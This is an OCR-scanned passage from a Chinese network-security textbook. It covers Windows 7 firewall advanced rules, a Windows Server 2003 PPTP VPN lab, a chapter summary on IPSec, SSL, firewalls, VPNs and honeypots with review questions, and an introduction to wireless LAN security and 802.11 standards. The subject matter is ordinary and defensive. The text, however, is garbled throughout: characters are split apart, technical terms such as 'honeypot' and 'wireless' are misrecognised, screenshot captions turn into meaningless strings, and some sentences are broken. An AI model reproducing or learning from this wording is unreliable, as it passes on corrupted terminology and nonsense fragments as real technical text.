行 男 一 程序 ”按钮 ,然后 在 打开 的 界面 中 进行 添加 ,如 图 8-27 所 示 。 

选择 将 要 添加 的 程序 ,如 果 列表 里 没有 就 单 击 * 浏 览 按 钮 ,在 打开 的 界面 中 找到 该 应 用 
程序 。 单 击 图 8-27 下 面 的 “网 络 位 置 类 型 "按钮 ,在 弹出 的 界面 中 对 私有 网 络 和 公用 网 络 进 
行 设置 ,也 可 以 回 到 上 一 界面 再 设置 修改 。 

添加 后 如 果 需 要 删除 (如 原 程序 已 经 秃 载 了 等 ), 则 只 需要 在 图 8-26 中 选中 对 应 的 程序 
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A 或 单 击 “ 浏 览 "查找 未 列 出 的 程序 ,然后 单 击 


BRO): 
(internet Explorer a 
+ aie DVD Haker 
Windows Media Center 
名 indows 传真 和 扫描 
alliindows 远程 协助 


REA: CASOEAAWENRARIWINRAR exe 
Pei eues eit 

FULLER RB MAL RIAA DRA 

国 2 Cs) 


图 8-27 添加 程序 


项 ,再 单 击 下 面 的 “删除 ?按钮 即 可 。 系 统 的 服务 项 目 是 无 法 删除 的 ,只 能 禁用 。 

3) Windows 7 防火 墙 高 级 规则 设置 

(1) 在 图 8-24 显示 界面 的 左 侧 单 击 * 高 级 设置 *, 即 可 进入 防火 墙 高 级 设置 界面 ,如 
图 8-28 所 示 。 


图 Windors 防火 墙 属性 


Windows 防火 培 


计算 机 之 间 的 身份 验证 通信 
gpa etana Internet 协议 安全 性 CPSec) 对 计算 机 之 下 
x ý 
D 连接 安全 规则 
查看 和 创建 防火 墙 规则 

程序 或 册 口 的 防火 增 规 由 


© 和 tian 
FES] 


查看 当前 防火 墙 以 及 IPsec 策略 和 活动 
查看 有 关 当 前 应 用 的 防火 墙 与 连接 安全 性 规则 和 活动 网 络 连 接 的 安全 关联 f 


D an 


图 8-28 防火墙 高 级 设置 界面 
(2) 可 以 查看 程序 的 出 、 和 人 站 规则 设置 。 单 击 左 侧 的 * 入 站 规则 ”, 中 间 将 显示 所 有 与 具 
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体 程序 相关 的 可 设置 的 内 容 。 和 前 面 基本 规则 设置 里 面 的 条 目 一 样 , 只 是 更 加 详细 。 双 击 
一 个 条 目 , 即 可 开始 对 程序 的 人 站 规则 进行 设置 ,如 图 8-29 所 示 。 


图 8-29 程序 入 站 规则 设置 


在 图 8-29 显示 的 界面 下 可 以 设置 的 内 容 如 下 。 

常规 : 该 部 分 包含 规则 的 标识 与 描述 信息 。 可 以 启用 或 禁用 规则 ,操作 部 分 只 有 3 
个 选项 : 允许 连接 、 只 人 允许 安全 连接 、 阻 止 连接 。 如 果 要 使 用 “只 允许 安全 连接 ”选项 , 则 
IPSec 设置 必须 在 防火 墙 高 级 设置 中 的 连接 安全 规则 中 进一步 定义 。 

@ 程序 和 服务 : 程序 部 分 包含 如 何 匹配 来 自 程序 的 网 络 数 据 包 信息 。 可 以 指定 条 件 
的 所 有 程序 (条 件 就 是 指 其 他 选项 卡 设置 的 条 件 ) ,还 有 一 个 就 是 指定 程序 。 

服务 是 用 来 匹配 来 自 计 算 机 上 所 有 程序 和 服务 。 仅 服务 或 指定 服务 的 数据 包 。 设 置 中 
有 4 个 选项 ,一 级 比 一 级 严格 ,最 后 一 个 “应 用 于 具有 下 列 服务 短 名 称 的 服务 "一 项 属于 筛选 
作用 。 

@ 计算 机 : 该 部 分 可 以 指定 哪些 连 入 的 计算 机 或 者 账户 ,允许 执行 该 规则 。 需 要 与 安 
全 连接 设置 相 联系 。 

@ 协议 和 端口 : 协议 就 是 指 该 程序 与 网 络 交流 的 流量 可 以 执行 的 协议 和 访问 的 端口 。 
此 部 分 功能 同 基 本 包 过 滤 防火 墙 的 规则 设置 类 似 。 

© 作用 域 : 本 地 IP 地 址 由 本 地 计算 机 用 于 确定 规则 是 否 适用 。 规 则 仅 适用 于 通过 配 
置 为 使 用 一 个 指定 本 地 IP 地 址 的 网 络 适配器 匹配 规则 。 

远程 IP 地 址 则 指定 应 用 规则 的 远程 IP 地 址 ,如 果 目 标 IP 地 址 是 列表 中 的 地 址 之 一 ， 
则 网 络 流量 匹配 规则 。 

© 高 级 : 高 级 部 分 可 以 修改 应 用 此 防火 墙 规则 的 配置 文件 和 接口 类 型 。 
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配置 文件 的 适用 连接 范围 , Windows 7 可 以 根据 网 络 适 配器 的 网 络 位 置 应 用 相应 的 配 
置 文件 ,支持 3 种 配置 文件 ( 域 .专用 和 公用 )。 

接口 类 型 是 指定 应 用 连接 安全 规则 的 接口 类 型 ,支持 所 有 、 局 域 网 .远程 和 无 线 的 任意 
组 合 。 
边缘 遍历 可 以 允许 计算 机 接收 未 经 请 求 的 入 站 数据 包 , 这 些 数据 包 已 通过 边缘 设备 
(NAT 路 由 器 或 防火 墙 )。 

© 用 户 : 用 户 部 分 可 以 用 来 设置 允许 哪些 用 户 或 用 户 组 通过 此 程序 连接 到 计算 机 。 


实 训 9 Windows 平台 上 的 PPTP VPN 配置 


1. 实 训 目的 

(1) 加 深 对 VPN 的 认 知 了 解 。 

(2) 学 习 Windows 平台 上 的 VPN 的 配置 。 

2. 实 训 环境 

网 络 环境 ,两 台 以 上 Windows 2003 操作 系统 计算 机 ,其 中 一 台 需 为 Server 版 。 

3. 实 训 内 容 

(1) VPN 服务 器 配置 。 

(2) VPN 拨号 用 户 添 加 。 

(3) VPN 客户 端 配置 。 

4. 实 训 步 又 

1) VPN 服务 器 端 配置 

(1) 在 Windows Server 2003 的 管理 工具 中 打开 “路 由 和 远程 访问 ”, 在 列 出 的 “本 地 服 
务 器 ”上 右 击 ,从 弹出 的 快捷 菜单 中 选择 “配置 并 启用 路 由 和 和 远程 访问 ”选项 ,如 
图 8-30 所 示 。 
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: rae al | 可 由 和 得 访问 
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图 8-30 管理 工具 中 启用 路 由 和 远程 访问 


(2) 在 出 现 的 安装 向 导 界 面 中 选择 * 自 定义 配置 ?选项 。 接 下 来 选中 *VPN 访问 ” 复 选 
框 ,如 图 8-31 所 示 。 在 出 现 的 提示 框 中 单 击 “ 是 ?按钮 ,开始 服务 。 

(3) Æ VPN 服务 启动 后 ,可 以 开始 配置 VPN 服务 器 。 在 管理 工具 界面 上 的 “路 由 和 远 
程 访问 里 的 “KENT( 本 地 ) "服务 上 单 击 鼠 标 右键 ,在 弹出 的 快捷 菜单 中 选择 “属性 ?选项 ， 
然后 在 打开 的 界面 中 选择 “IP” 选 项 卡 , 在 “IP 地 址 指派 ”选项 区 域 中 选中 “静态 地 址 池 ” 单 选 
按钮 ,如 图 8-32 所 示 。 
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图 8-32 IP 地 址 指派 


(4) 输入 静态 地 址 范围 ,然后 单 击 “ 添 加 ”按钮 。 这 个 IP 范围 就 是 VPN 局 域 网 内 部 的 
虚拟 IP 地 址 范围 ,每 个 拨 入 VPN 服务 器 的 计算 机 都 会 分 配 到 此 范围 内 的 一 IP, 并 在 虚拟 
局 域 网 中 用 这 个 IP 相互 访问 。 

2) 添加 VPN 拨号 用 户 

每 个 客户 端 拔 入 VPN 服务 器 都 需要 有 一 个 账号 ,默认 是 Windows 身份 验证 ,所 以 要 给 
每 个 需要 拨 和 到 VPN 的 客户 端 设置 一 个 用 户 , 并 为 这 个 用 户 制定 一 个 固定 的 内 部 虚拟 IP 
以 便 客户 端 之 间 相互 访问 。 

在 管理 工具 中 的 计算 机 管理 里 添加 用 户 , 先 新 建 一 个 “chnking” 的 用 户 。 创 建 好 后 , 查 
看 这 个 用 户 的 属性 ,在 “ 拨 入 ”选项 卡 中 做 相应 的 设置 ,如 图 8-33 所 示 。 

“远程 访问 权限 ”设置 为 “允许 访问 ”, 以 允许 这 个 用 户 通 过 VPN 拨 入 服务 器 。 

选中 “分 配 静 态 IP 地 址 ” 复 选 框 ,并 设置 一 个 VPN 服务 器 中 静态 IP 池 范 围 内 的 一 个 
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图 8-33 ”用户 拨 入 属性 设置 


IP 地 址 ,这 里 设 为 10. 240. 60. 2 。 

如 果 有 多 个 客户 端 机 器 要 接 人 VPN ,请 给 每 个 客户 端 都 新 建 一 个 用 户 , 并 设 定 一 个 虚 
拟 IP 地 址 ,各 个 客户 端 都 使 用 分 配给 自己 的 用 户 拨 入 VPN ,这样 各 个 客户 端 每 次 拨 入 
VPN 后 都 会 得 到 相同 的 了 P。 如 果 用 户 没 设置 为 “分 配 静态 IP 地 址 ,客户 端 每 次 拨 入 
VPN., VPN 服务 器 会 随机 给 这 个 客户 端 分 配 一 个 范围 内 的 IP。 

3) VPN 客户 端 配置 

(1) 在 客户 端 操作 系统 “开始 ?菜单 中 选择 “程序 ”附件 ”~ 通信 ?新 建 连接 向 导 ” 
选项 ,进入 新 建 连接 向 导 界 面 。 在 界面 上 选择 “连接 到 我 的 工作 场所 的 网 络 ”, 并 在 后 续 界面 上 选 
中 * 虚 拟 专用 网 络 连接 ” 单 选 按钮 ,如 图 8-34 所 示 。 在 “连接 名 ”文本 框 中 ,输入 连接 名 称 abe, 


新 建 连接 向 导 


图 8-34 选择 * 虚 拟 专用 网 络 连接 ” 
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(2) 新 建 连接 向 导 中 需要 输入 即 客户 端 可 以 与 之 通信 的 VPN 服务 器 的 IP 地 址 ,如 
8-35 所 示 。 


FEED 


vee 服务 器 选择 
VEN 服务 器 的 名 称 或 地 址 是 什么 ? 


图 8-35 输入 VPN 服务 器 的 IP 地 址 


(3) 新 建 连接 完成 后 ,在 控制 面板 的 网 络 连 接 中 的 虚拟 专用 网 络 下 面 可 以 看 到 刚才 新 
建 的 名 称 为 abe 的 连接 ,如 图 8-36 所 示 。 


由 .本 地 连接 3 LN Internet 
心 本 地 连接 LAN 或 高 速 Internet 
”向 导 
Breas 向 导 

虚拟 专用 网 络 
@ abe 虚拟 者 用 网 络 


图 8-36 虚拟 专用 网 的 网 络 连接 


下 面 就 可 以 开始 拨号 进入 VPN 了 ,双击 abe 连接 ,输入 分 配给 这 个 客户 端的 用 户 名 和 
密码 , 拨 通 后 在 任务 栏 的 右 下 角 会 出 现 一 个 网 络 连 接 的 图 标 ,表示 已 经 拨 入 VPN 服务 器 。 

一 旦 进入 虚拟 局 域 网 ,客户 端 设 置 共享 文件 夹 , 别 的 客户 端 就 可 以 通过 其 VPN 中 分 配 
的 IP 地址 访问 他 的 共享 文件 夹 。 本 实验 在 局 域 网 环境 下 进行 的 ,体会 可 能 不 明显 。 如 果 是 
互联 网 环境 ,就 是 方便 地 实现 了 远程 资源 共享 ,感觉 如 同 在 本 地 局 域 网 一 样 。 


本 章 小 结 


(1) IPSec 协议 是 网 络 层 的 安全 协议 。 其 包含 两 个 子 协议 ,AH 和 ESP。 两 个 子 协议 都 
能 提供 防 重播 ,完整 性 认证 ,来 源 认证 的 功能 ,ESP 还 提供 对 载荷 数据 加 密 的 功能 。IPSec 
有 两 种 实现 模式 ,传输 模式 和 隧道 模式 ,各 自 适用 于 不 同情 况 。IPSec 在 传输 数据 前 要 先 用 
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IKE 协议 建立 包含 安全 通信 参数 的 安全 关联 。 

(2) SSL/TLS 协议 是 传输 层 上 的 安全 协议 。 其 包含 两 个 协议 层 : SSL 记录 协议 层 和 
SSL 握手 层 协议 层 。 要 使 用 SSL 协议 传输 数据 首先 要 用 SSL 握手 协议 建立 会 话 和 连接 ,会 
话 和 连接 中 有 安全 通信 所 需 的 各 种 参数 ,建立 会 话 时 可 以 验证 彼此 的 X. 509 证 书 。SSL 协 
议 提供 机 密 性 、 完 整 性 ,数据 来 源 与 身份 认证 等 较为 完善 的 安全 通信 功能 。 

(3) 防火 墙 一 般 放 置 于 网 络 边 界 , 通 过 过 滤 可 疑 数 据 包 的 方式 控制 网 络 流量 ,达到 保护 
网 络 的 目的 。 依 据 不 同 的 保护 机 制 和 工作 原理 ,防火 墙 可 分 为 包 过 滤 防 火 墙 \ 状 态 检 测 包 过 
滤 防 火 墙 应 用 服务 代理 防火 墙 。 防火 墙 设备 是 由 软件 与 硬件 不 同 侧重 的 组 合 实现 的 ,自身 
安全 性 和 数据 效率 、 能 力 各 不 相同 。 要 想 达 到 更 好 地 保护 网 络 的 目的 ,需要 不 同类 型 的 防火 
墙 协 同 工 作 ,组 成 不 同 的 防火 墙 结构 。 不 同 的 防火 墙 结构 有 不 同 的 特点 ,需要 依照 网 络 和 应 
用 情况 采用 适宜 的 结构 来 保护 网 络 。 

(4) VPN 技术 是 在 公共 网 络 上 建立 专用 网 的 技术 。VPN 具有 “专用 网 的 性 能 ,公共 网 
络 的 价格 和 便利 ”, 具 有 极 佳 的 性 价 比 。 以 其 应 用 方式 和 范围 有 远程 接 入 VPN、 内 联网 
VPN、 外 联网 VPN. VPN 的 关键 技术 有 隧道 技术 、 加 密 技术 、 密 钥 管 理 技术 、 身 份 认证 技 
术 、 管 理 技术 。VPN 最 基本 的 技术 是 隧道 技术 ,可 以 通过 专线 协议 或 隧道 协议 来 达成 。 各 
种 网 络 安全 协议 能 为 VPN 的 建设 提供 支持 。 

(5) 密 铅 主机 是 网 络 安全 设置 的 可 选项 。 其 主要 目的 是 为 了 吸引 攻击 ,可 以 分 析 攻 击 
行为 ,并 可 以 记录 攻击 操作 为 如 何 加 强 防御 提供 信息 。 蜜 饶 主 机 可 以 按 不 同 的 连累 等 级 来 
分 类 ,不 同 连累 等 级 的 蜜 饶 主 机 有 不 同 的 性 能 和 特点 。 欺 骗 网 络 是 多 种 设备 协同 工作 而 形 
成 比 密 饶 主 机 更 有 效 的 网 络 欺骗 环境 。 


1. IPSec 协议 的 实现 方式 有 哪 两 种 ?处 理 的 大 致 过 程 是 什么 ? 在 公共 网 络 上 传输 的 数 
据 包 格式 都 是 怎样 的 。 
. AH 协议 和 ESP 协议 各 自 能 提供 什么 样 的 安全 功能 ?这 些 功 能 是 如 何 予 以 实现 的 ? 
.SSL 协议 分 为 哪 两 层 ? 各 层 都 有 什么 协议 ? 它们 都 用 来 做 什么 ? 
.SSL 的 会 话 和 连接 之 间 有 什么 关系 ? SSL 协议 数据 传输 的 大 致 过 程 是 怎样 的 ? 
.从 工作 的 协议 层 和 工作 方式 划分 ,防火 墙 有 哪 几 种 ? 各 自 查 看 数据 包 的 什么 内 容 ? 
. 较为 常见 防火 墙 的 结构 有 哪 几 种? 它们 各 自 有 什么 特点 和 优 缺 点 ? 
实现 专线 VPN 可 以 用 哪些 层 的 协议 ? 试 举例 。 它 们 各 自 有 什么 特点 和 优 缺 点 ? 
. 从 VPN 的 应 用 方式 和 应 用 范围 来 看 ,VPN 可 以 分 为 几 种 ? 它们 各 自 适用 于 什么 样 
的 情况 ? 

9. 专线 VPN 和 隧道 协议 VPN 各 自 有 什么 特点 和 优 缺 点 ? 

10. 蜜 钢 主机 是 怎样 的 设备 ? 在 网 络 中 可 以 达成 什么 功能 ? 

11. 蜜 铅 主机 的 连累 等 级 有 几 种 ? 各自 如何 界定 ? 不 同 连 累 等 级 的 蜜 缸 主机 有 什么 特 
点 和 优 缺 点 ? 
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9.1 无 线 网 络 安全 概述 及 无 线 网 络 设备 


9.1.1 无 线 网 络 安 全 概述 


无 线 局 域 网 (Wireless Local Area Network,WLAN) 是 指 以 无 线 信道 作 传输 媒介 的 计 
算 机 局 域 网 ,是 有 线 联网 方式 的 重要 补充 和 延伸 ,并 逐渐 成 为 计算 机 网 络 中 一 个 至 关 重 要 的 
组 成 部 分 ,广泛 适用 于 需要 可 移动 数据 处 理 或 无 法 进行 物理 传输 介质 布线 的 领域 。 随 着 
IEEE 802. 11 无 线 网 络 标准 的 制定 与 发 展 ,使 无 线 网 络 技术 更 加 成 熟 与 完善 ,并 已 成 功 地 应 
用 于 众多 行业 ,如 金融 证 券 .教育 ,大 型 企业 .工矿 港口 .政府 机 关 、 酒 店 、 机 场 .军队 等 。 产 品 
主要 包括 无 线 接 入 点 .无限 网 卡 、 无 线路 由 器 、 无 线 网 关 、 无 线 网 桥 等 。 

无 线 网 络 的 初步 应 用 可 以 追溯 到 第 二 次 世界 大 战 期 间 , 当 时 美国 陆军 采用 无 线 电 信号 
做 资料 的 传输 。 他 们 研发 出 了 一 套 无 线 电 传 输 科技 ,并 且 采 用 相当 高 强度 的 加 密 技术 ,得 到 
美军 和 盟 军 的 广泛 使 用 。 这 项 技术 让 许多 学 者 得 到 了 一 些 灵感 ,1971 年 ,夏威夷 大 学 的 研 
究 员 创 造 了 第 一 个 基于 封包 式 技术 的 无 线 电 通信 网 络 。 这 被 称 为 ALOHNET 的 网 络 , 可 
以 算是 相当 早期 的 无 线 局 域 网 络 (WLAN)。 它 包括 了 7 台 计算 机 ,采用 双向 星 型 折 扑 横 跨 
四 座 夏 威 夷 的 岛屿 ,中 心计 算 机 放置 在 瓦 胡 岛 上 。 从 这 时 开始 ,无 线 网 络 可 说 是 正式 诞 
生 了 。 

虽然 目前 大 多 数 的 网 络 都 仍旧 是 有 线 的 架构 ,但 是 近年 来 无 线 网 络 的 应 用 却 日 渐 增 加 。 
在 学 术 界 .医疗 界 、 制 造 业 、 仓 储 业 等 ,无 线 网 络 扮演 着 越 来 越 重要 的 角色 。 特 别 是 当 无 线 网 
络 技术 与 Internet 相 结合 时 ,其 进发 出 的 能 力 是 所 有 人 都 无 法 估计 的 。 其 实 , 大 家 也 不 能 完 
全 认为 自己 从 来 没有 接触 过 无 线 网 络 。 从 概念 上 理解 ,红外 线 传输 也 可 以 认为 是 一 种 无 线 
网 络 技术 ,只 不 过 红外 线 只 能 进行 数据 传输 ,而 不 能 组 网 罢 了 。 此 外 ,射频 无 线 鼠 标 、WAP 
手机 上 网 等 都 具有 无 线 网 络 的 特征 。 

目前 最 为 热门 的 三 大 无 线 技术 是 Wi-Fi、 蓝 牙 以 及 HomeRF ,它们 的 定位 各 不 相同 。 
Wi-Fi 在 带宽 上 有 着 极为 明显 的 优势 ,达到 11 一 300Mbps, 而 且 有 效 传输 范围 很 大 ,其 为 数 
不 多 的 缺陷 就 是 成 本 略 高 以 及 功 耗 较 大 。 相 对 而 言 ,蓝牙 技术 在 带宽 方面 逊色 不 少 , 但 是 低 
成 本 以 及 低 功 耗 的 特点 还 是 让 它 找 到 了 足够 的 生存 空间 。 另 一 种 无 线 局 域 网 技术 
HomeRF ,是 专门 为 家 庭 用 户 设计 的 。 它 的 优势 在 于 成 本 ,不 过 它 的 业界 支持 度 远 不 及 前 
两 者 。 

在 无 线 网 络 环境 下 ,虽然 别人 可 能 是 坐 在 隔壁 的 办 公 室 里 、 楼 上 或 楼 下 ,或 者 旁边 的 一 
幢 建 筑 物 里 ,但 他 可 以 就 像 是 坐 在 用 户 的 计算 机 面前 一 样 搞 破 坏 。 无 线 网 络 技术 的 发 展 让 
人 们 极 大 地 提高 了 工作 效率 ,并 且 在 使 用 上 越 来 越 简单 .但 同时 也 给 系统 和 使 用 的 信息 带 来 
许多 意外 的 危险 。 因 为 无 线 就 意味 着 会 让 人 接触 到 数据 。 与 此 同时 ,要 将 无 线 局 域 网 发 射 
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的 数据 仅仅 传送 给 一 名 目标 接收 者 是 不 可 能 的 。 而 防火 墙 对 通过 无 线 电波 进行 的 网 络 通信 
起 不 了 作用 ,任何 人 在 视 距 范围 之 内 都 可 以 截获 和 插入 数据 。 

这 就 是 说 ,无 限 网 络 存在 许多 的 安全 性 问题 ,主要 表现 在 以 下 几 个 方面 。 

(1) 所 有 常规 有 线 网 络 存在 的 安全 威胁 和 隐患 都 存在 。 

(2) 外 部 人 员 可 以 通过 无 线 网 络 绕 过 防火 墙 ,对 公司 网 络 进行 非 授权 存 取 。 

(3) 无 线 网 络 传输 的 信息 没有 加 密 或 者 加 密 很 弱 , 易 被 窃取 、 算 改 和 插入 。 

(4) 无 线 网 络 易 被 拒绝 服务 攻击 (DoS) 和 干扰 。 

(5) 内 部 员工 可 以 设置 无 线 网 卡 为 P2P 模式 与 外 部 员工 连接 。 

(6) 无 线 网 络 的 安全 产品 相对 较 少 ,技术 相对 比较 新 。 

针对 以 上 问题 ,人 们 设 定 了 无 线 网 络 的 安全 目标 ,首先 提供 接 人 控制 ,其 次 确保 连接 的 
保密 与 完好 ,最 终 防 止 拒绝 服务 攻击 (DoS) 。 


9.1.2 无 线 网 络 设备 


在 无 线 局 域 网 里 ,常见 的 设备 有 无 线 网 卡 FE I BE CR RR AP 接 人 点 等 。 

1. 无 线 网 卡 

无 线 网 卡 的 作用 类 似 于 以 太 网 中 的 网 卡 ,作为 无 线 局 域 网 的 接口 ,实现 与 无 线 局 域 网 的 
连接 。 无 线 网 卡 根据 接口 类 型 的 不 同 , 主 要 分 为 3 种 类 型 , 即 PCMCIA 无 线 网 卡 、PCI 无 线 
网 卡 和 USB 无 线 网 卡 。 

(1) PCMCIA 无 线 网 卡 仅 适用 于 笔记 本 电脑 ,支持 热 插 拔 ,可 以 非常 方便 地 实现 移动 无 
线 接 入 。 

(2) PCI 无 线 网 卡 适用 于 普通 的 台式 计算 机 使 用 。 其 实 PCI 无 线 网 卡 只 是 在 PCI 转 接 
卡 上 插入 一 块 普通 的 PCMCIA F. 

(3) USB 接口 无 线 网 卡 适用 于 笔记 本 电脑 和 台式 计算 机 ,支持 热 搬 拔 , 如 果 网 卡 外 置 
有 无 线 天 线 ,那么 USB 接口 就 是 一 个 比较 好 的 选择 。 

2. AP 接 入 点 

AP 是 Access Point 的 缩写 ,翻译 过 来 就 是 “无 线 访问 点 ”或 “无 线 接 人 点 ”, 从 名 字 上 看 
就 是 通过 它 ,能 把 用 户 拥有 无 线 网 卡 的 机 器 接 和 人 到 网 络 中 。 它 主要 是 提供 无 线 工 作 站 对 有 
线 局 域 网 和 从 有 线 局 域 网 对 无 线 工作 站 的 访问 ,在 访问 接 入 点 覆盖 范围 内 的 无 线 工作 站 可 
以 通过 它 进 行 相互 通信 。 通 俗 地 讲 ,无 线 AP 是 无 线 网 和 有 线 网 之 间 沟 通 的 桥梁 。 由 于 无 
线 AP 的 覆盖 范围 是 一 个 向 外 扩散 的 圆 形 区 域 , 因 此 应 当 尽 量 把 无 线 AP 放置 在 无 线 网 络 
的 中 心 位 置 ,而 且 各 无 线 客户 端 与 无 线 AP 的 直线 距离 最 好 不 要 超过 太 长 ,以 避免 因 通 信 信 
号 衰减 过 多 而 导致 通信 和 失败。 

TR AP 相当 于 一 个 无 线 集线器 (HUB) , 接 在 有 线 交 换 机 或 路 由 器 上 ,为 跟 它 连接 的 
无 线 网 卡 从 路 由 器 那里 分 得 IP。 

无 线路 由 器 就 是 AP、 路 由 功能 和 集线器 的 集合 体 , 支 持 有 线 、 无 线 组 成 同一 子 网 ,直接 
接 上 上 层 交 换 机 或 ADSL 猫 等 。 无 线路 由 器 从 名 称 上 就 可 以 知道 这 种 设备 具有 路 由 的 功 
能 ,大 家 可 能 对 有 线 的 宽带 路 由 器 有 所 了 解 ,那么 可 以 说 无 线路 由 器 是 单纯 型 AP 与 宽带 路 
由 器 的 一 种 结合 ; 它 借 助 于 路 由 器 功能 ,可 实现 家 庭 无 线 网 络 中 的 Internet 连接 共享 ,实现 
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ADSL 和 小 区 宽带 的 无 线 共享 接 入 。 另 外 ,无 线路 由 器 可 以 把 通过 它 进行 无 线 和 有 线 连接 
的 终端 都 分 配 到 一 个 子 网 ,这 样子 网 内 的 各 种 设备 交换 数据 就 非常 方便 。 

3. 无 线 网 桥 

说 到 无 线 网 桥 ,首先 大 家 要 了 解 网 桥 的 概念 ,网 桥 (Bridge) 又 称 为 桥接 器 , 它 是 一 种 在 
数据 链 路 层 实 现 局 域 网 互联 的 存储 转发 设备 。 网 桥 有 在 不 同 网 段 之 间 再 生 信号 的 功能 , 它 
可 以 有 效 地 连接 两 个 LAN( 局 域 网 ) ,使 本 地 通信 限制 在 本 网 段 内 ,并 转发 相应 的 信号 至 另 
一 网 段 。 网 桥 通常 用 于 连接 数量 不 多 的 、 同 一 类 型 的 网 段 。 

无 线 网 桥 顾名思义 就 是 无 线 网 络 的 桥接 , 它 可 在 两 个 或 多 个 网 络 之 间 搭 起 通信 的 桥梁 
(无 线 网 桥 也 是 无 线 AP 的 一 种 分 支 ) 。 无 线 网 桥 除 了 具备 上 述 有 线 网 桥 的 基本 特点 之 外 ， 
比 其 他 有 线 网 络 设备 更 方便 部 署 。 

从 作用 上 来 理解 无 线 网 桥 , 它 可 以 用 于 连接 两 个 或 多 个 独立 的 网 络 段 ,这 些 独 立 的 网 络 
段 通 常 位 于 不 同 的 建筑 内 ,相距 几 百 米 到 几 十 千 米 ,所 以 说 它 可 以 广泛 应 用 在 不 同 建筑 物 间 
的 互联 。 同 时 ,根据 协议 不 同 ,无线 网 桥 又 可 以 分 为 2. 4GHz 频段 的 802.11b 或 802. 11g 以 
及 采用 5. 8G Hz 频段 的 802. 11a 无 线 网 桥 。 无 线 网 桥 有 3 种 工作 方式 : 点 对 点 、 点 对 多 点 、 
中 继 连 接 。 特 别 适用 于 城市 中 的 远 距离 通信 。 

无 线 网 桥 通 常 是 用 于 室外 ,主要 用 于 连接 两 个 网 络 ,使 用 无 线 网 桥 不 可 能 只 使 用 一 个 ， 
必需 两 个 以 上 ,而 AP 可 以 单独 使 用 。 无 线 网 桥 功率 大 ,传输 距离 远 (最 大 可 达 约 50km) , 抗 
干扰 能 力 强 等 ,不 自 带 天 线 , 一 般配 备 抛物 面 天 线 实现 远 距 离 的 点 对 点 连接 。 

由 于 无 线 网 桥 在 室外 工作 ,因此 一 般 在 天 线 和 无 线 网 桥 主 设备 之 间 会 设 有 一 些小 部 件 
来 起 到 防水 、 防 雷击 的 作用 。 

4. 无 线 天 线 

当 计 算 机 与 无 线 AP 或 其 他 计算 机 相距 较 远 时 , 随 着 信号 的 减弱 或 者 传输 速率 明显 下 
降 , 或 者 根本 无 法 实现 与 AP 或 其 他 计算 机 之 间 通 信 , 此 时 就 必须 借助 于 无 线 天 线 对 所 接收 
或 发 送 的 信号 进行 增益 (放大 ) 。 

无 线 天 线 有 多 种 类 型 ,不 过 常见 的 有 两 种 : 一 种 是 室内 天 线 ,优点 是 方便 灵活 ,缺点 是 
增益 小 ,传输 距离 近 ; 一 种 是 室外 天 线 , 室 外 天 线 的 类 型 比较 多 ,有 锅 状 的 定向 天 线 、 棒 状 的 
全 向 天 线 , 室 外 天 线 的 优点 是 传输 距离 远 ,因此 适合 远 距离 传输 。 

5. 无 线 终端 设备 


无 线 移动 终端 一 般 指 的 是 用 户 直 接 使 用 并 具有 无 线 网 络 接 入 能 力 的 数字 终端 ,目前 市 
面 上 主要 有 迅驰 笔记 本 电脑 \ 带 有 WLAN 无 线 网 卡 的 台式 计算 机 、 具 有 WLAN 接 入 功能 
的 手机 、PDA 等 ,甚至 现在 还 有 带 WLAN 通信 功能 的 摄像 ,监控 设备 。 

其 中 基于 CMT( 迅 驰 移 动 技 术 ) 的 笔记 本 电脑 是 最 广泛 使 用 的 WLAN 终端 ,这 项 技术 
的 采用 与 WLAN 的 应 用 部 署 几 乎 同步 增长 。 迅 驰 移动 技术 是 国际 知名 芯片 设计 制造 商 英 
特 尔 专 为 无 线 应 用 而 设计 的 ,采用 这 种 创新 技术 的 笔记 本 电脑 将 获得 以 下 的 特性 。 

(1) 集成 的 无 线 局 域 网 连接 能 力 。 

(2) 突破 性 的 移动 计算 性 能 。 

(3) 延长 的 电池 使 用 时 间 。 

(4) 更 轻 、 更 薄 的 外 形 设计 。 
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9.2 无 线 局 域 网 的 标准 


目前 国际 上 有 三 大 标准 家 族 , 他 们 是 美国 IEEE 802. 11 家 族 、 欧 洲 ETSI 高 性 能 局 域 网 
HiperLAN 系列 和 日 本 ARIB 移动 多 媒体 接 入 通信 MMAC。 其 他 类 似 标准 还 有 美国 
HomeRF 共享 无 线 接 入 协议 SWAP。2003 年 5 月 ,两 项 WLAN 中 国标 准 已 正式 颁布 。 这 
两 项 国家 标准 在 原则 采用 IEEE 802. 11/802. 11b 系列 标准 前 提 下 ,在 充分 考虑 和 兼顾 
WLAN 产品 互联 互通 的 基础 上 ,针对 WLAN 的 安全 问题 ,给 出 了 技术 解决 方案 和 规范 要 
求 。 其 中 IEEE 802. 11 系列 标准 是 WLAN 的 主流 标准 。 


9.2.1 IEEE 的 802.11 标准 系列 


作为 全 球 公认 的 局 域 网 权威 ,IEEE 802 工作 组 建立 的 标准 在 过 去 20 年 内 在 局 域 网 领 
域内 独 领 风骚 。 这 些 协议 包括 了 802. 3 Ethernet 协议 、802. 5 Token Ring 协议 、802. 3z 
100Base-T 快速 以 太 网 协议 。 在 1997 年 ,经 过 了 7 年 的 工作 以 后 ,IEEE 发 布 了 802.11 协 
议 , 这 也 是 在 无 线 局 域 网 领域 内 的 第 一 个 国际 上 被 认可 的 协议 。1999 年 9 月 ,他 们 又 提出 
了 802. 11b“High Rate” 协 议 , 用 来 对 802. 11 协议 进行 补充 ,802. 11b 在 802. 11 的 1Mbps 
和 2Mbps 速率 下 又 增加 了 5. 5Mbps 和 11Mbps 两 个 新 的 网 络 吞 吐 速率 ,后 来 又 演进 到 
802. 11g 的 54Mbps, 直 至 今日 802. 11n 的 300Mbps 以 上 。 

1, IEEE 802. 11 协议 族 

IEEE 802. 11 标准 是 无 线 网 络 技术 发 展 的 一 个 里 程 碑 IEEE 802. 11( Wireless Fidelity, 
Wi-Fi, 无 线 相 容 认 证 ) 标 准 定义 物理 层 和 媒体 访问 控制 (MAC) 规 范 。 物 理 层 定义 了 数据 传 
输 的 信号 特征 和 调制 ,还 定义 了 两 个 RF 传输 方法 和 一 个 红外 线 传输 方法 ,RF 传输 标准 是 
跳 频 扩 频 和 直接 序列 扩 频 ,工作 在 2.4 一 2. 4835GHz 频段 。 

(1) IEEE 802. 11a。 规 定 WLAN 工作 频段 在 5. 15 一 5. 850 GHz, 数 据 传 输 速 率 达 到 
54Mbps/108Mbps(Super A)。 该 标准 扩充 了 标准 的 物理 层 ,采用 正 交 频 分 复 用 OFDM 的 
